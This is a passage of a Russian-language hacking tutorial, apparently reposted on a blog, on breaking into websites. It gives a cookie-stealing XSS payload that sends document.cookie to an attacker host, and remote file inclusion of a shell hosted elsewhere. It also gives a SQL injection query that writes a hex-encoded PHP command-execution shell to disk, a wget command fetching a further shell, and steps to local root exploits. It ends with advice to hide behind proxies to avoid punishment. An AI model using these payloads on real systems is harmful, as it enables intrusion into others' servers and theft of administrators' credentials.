Пример: Сайт _http://www.xxx.com имеет гостевую книгу, в которой поле имя подвержено XSS-атаке: вставляем в это поле <script>ALERT(‘Admin – FUCK’);</script> и лицезреем на экране «Admin – FUCK». Теперь вставляем «<script>img = new Image(); img.src=http://hacker.ru/snf.jpg?"+document.cookie;</script>» и ждем когда админ просмотрит вашу писятину… Получаем через некоторое время на сниффер MD5-хэш его пароля. Расшифровываем на http://HashCracking.info или подобных сервисах. Дальше – в админку…

Часть 3. ШЕЛЛ, РУТ.

Глава 1. Шелл-шелл-ля-фам.
Итак, мы в админке, или имеем root-доступ к базе данных, или PHP-inj удаленного файла, или FTP-доступ к сайту, что дальше. А дальше еще проще:
1) FTP-доступ или АДМИНКА. Просто заливаем понравившийся вам скрипт шелла и к следующей главе.
2) PHP-inj. Заливаем скрипт шелла на какой-нибудь бесплатный хостинг, например, narod.ru, и инклудим его примерно так — _http://www.xxx.com/index.php?page=http://vasiliy.narod.ru/shell.php, потом заливаем шелл прямо на сайт.
3) Root MySQL – если не фильтруется кавычка, то можно залить шелл при помощи запроса _http://www.xxx.com/index.php?id=-1+union+select+1,2,3,4,5,6,7,8, 0x3C3F2073797374656D28245F4745545B2763275D293B203F 3E,10,11,12,13,14,15,16+FROM+mysql.user+INTO+OUTFI LE+’/home/www/shell.php’/*, где 0x3C3F2073797374656D28245F4745545B2763275D293B203F 3E – это закодированное выражение <? system($_GET[‘c’]); ?>, позволяющее выполнять команды на сервере. Далее заливаем более удобный для работы шелл командой _http://www.xxx.com?c=wget -O shell.php _http://vasiliy.narod.ru/shell.php.

[U]Глава 2. Руууут.[/u]
Залив шелл мы теперь можем выполнять команды на сервере, а первой командой будет id, которая показывает ваши права в системе, а они обычно скромные. Хочется большего, тогда смотрим, что за ОС стоит на сервере(команда uname –a). Под эту версию ищем сплойт на сайте , компилируем, запускаем(как это делать описано либо в начале самого сплойта, либо в статьях) и… руууууут! Цель достигнута.

Часть 4. ОБЕЗОПАСИЛИСЬ ЛИ?
Каждое преступление наказуемо, поэтому надо заранее себя обезопасить – проксики должны стать вашими лучшими друзьями…

forum.uinsell.net


You May Also Like

About the Author: admind

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Этот сайт использует Akismet для борьбы со спамом. Узнайте как обрабатываются ваши данные комментариев.